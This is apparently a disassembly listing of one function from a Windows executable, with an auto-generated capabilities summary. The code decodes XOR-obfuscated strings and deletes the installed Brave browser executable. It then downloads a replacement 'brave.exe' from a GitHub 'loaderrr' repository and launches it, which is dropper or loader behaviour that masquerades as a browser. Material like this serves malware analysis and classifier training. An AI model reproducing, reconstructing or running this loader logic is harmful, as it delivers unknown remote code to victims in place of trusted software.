Function at 0x140001000
Capabilities:
Create process on windows
Delete file
Download url
Receive data
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
movabs rax, 0x9d059cad0c08f248
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
movabs rsi, 0xf876f0d87c668b3b
movabs rax, 0xc5ebd269ddbe2fe0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rax
movabs rdi, 0xc599b70dbcd143c0
movdqa xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], rdi
pxor xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x30]
movabs rax, 0x8f5695ab1d03e76b
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x30], rax
movabs rax, 0xc599b70dbca52aa1
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rdi
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.140002350
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], rdi
movabs rbx, 0xf876f0d87c668b15
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.140002350
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.140002350
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.140002350
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x150], 2
call fcn.140002520
lea rcx, str.C:Program_FilesBraveSoftwareBrave_Browser_brave.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x150], 2
call fcn.140002520
movabs r14, 0xcd24bce28c62275
mov qword [rbp - 0x70], rsi
movabs r15, 0xcacd430b9b688802
mov qword [rbp - 0x60], r14
movabs r12, 0x40c65a7c756cb8df
mov qword [rbp - 0x58], r15
movabs r13, 0xf93e2519a0d91c4
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r13
movabs rax, 0x72cbac42cb2ffe69
mov qword [rbp - 0x68], rdi
movdqa xmm0, xmmword [rbp - 0x70]
lea rdx, str.https:__github.com_tugix456_loaderrr_raw_refs_heads_main_brave.exe
movdqa xmm1, xmmword [rbp - 0x60]
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x40], rax
movabs rbx, 0xd1c2a24fe5f667b6
mov qword [rbp - 0x78], rbx
movabs rax, 0x8a119faa2c3ab178
mov qword [rsp + 0x50], rax
movabs rax, 0xb6fcdb64faf12ea1
mov qword [rsp + 0x58], rax
movabs rax, 0x63812eb849b46029
pxor xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x60], rax
movabs rax, 0x88912679fa1ffc64
mov qword [rsp + 0x68], rax
movabs rax, 0x2fb41851101ad9ad
pxor xmm1, xmmword [rsp + 0x60]
mov qword [rsp + 0x70], rax
movabs rax, 0x6ee1800de868e2b3
mov qword [rsp + 0x78], rax
movabs rax, 0x72cbc93aae019b1f
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x60], xmm1
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x38], rbx
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
call fcn.140001de0
mov rcx, rax
call fcn.140001440
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x50]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140001428
mov qword [rbp - 0x78], rbx
lea r8, [rsp + 0x50]
movabs rax, 0x72cbac42cb2ffe69
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x40], rax
lea rdx, str.open
movabs rax, 0x8a119faa2c3ab178
mov qword [rbp - 0x68], rdi
movdqa xmm0, xmmword [rbp - 0x70]
xor r9d, r9d
mov qword [rsp + 0x50], rax
xor ecx, ecx
movabs rax, 0xb6fcdb64faf12ea1
mov qword [rbp - 0x60], r14
mov qword [rsp + 0x58], rax
movabs rax, 0x63812eb849b46029
pxor xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x60], rax
movabs rax, 0x88912679fa1ffc64
mov qword [rsp + 0x68], rax
movabs rax, 0x2fb41851101ad9ad
mov qword [rsp + 0x70], rax
movabs rax, 0x6ee1800de868e2b3
mov qword [rsp + 0x78], rax
movabs rax, 0x72cbc93aae019b1f
movdqa xmmword [rsp + 0x50], xmm0
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x58], r15
movdqa xmm1, xmmword [rbp - 0x60]
pxor xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm1
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r13
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rsp + 0x70]
mov qword [rbp - 0x38], rbx
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm1, xmmword [rbp - 0x80]
mov dword [rsp + 0x28], 1
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3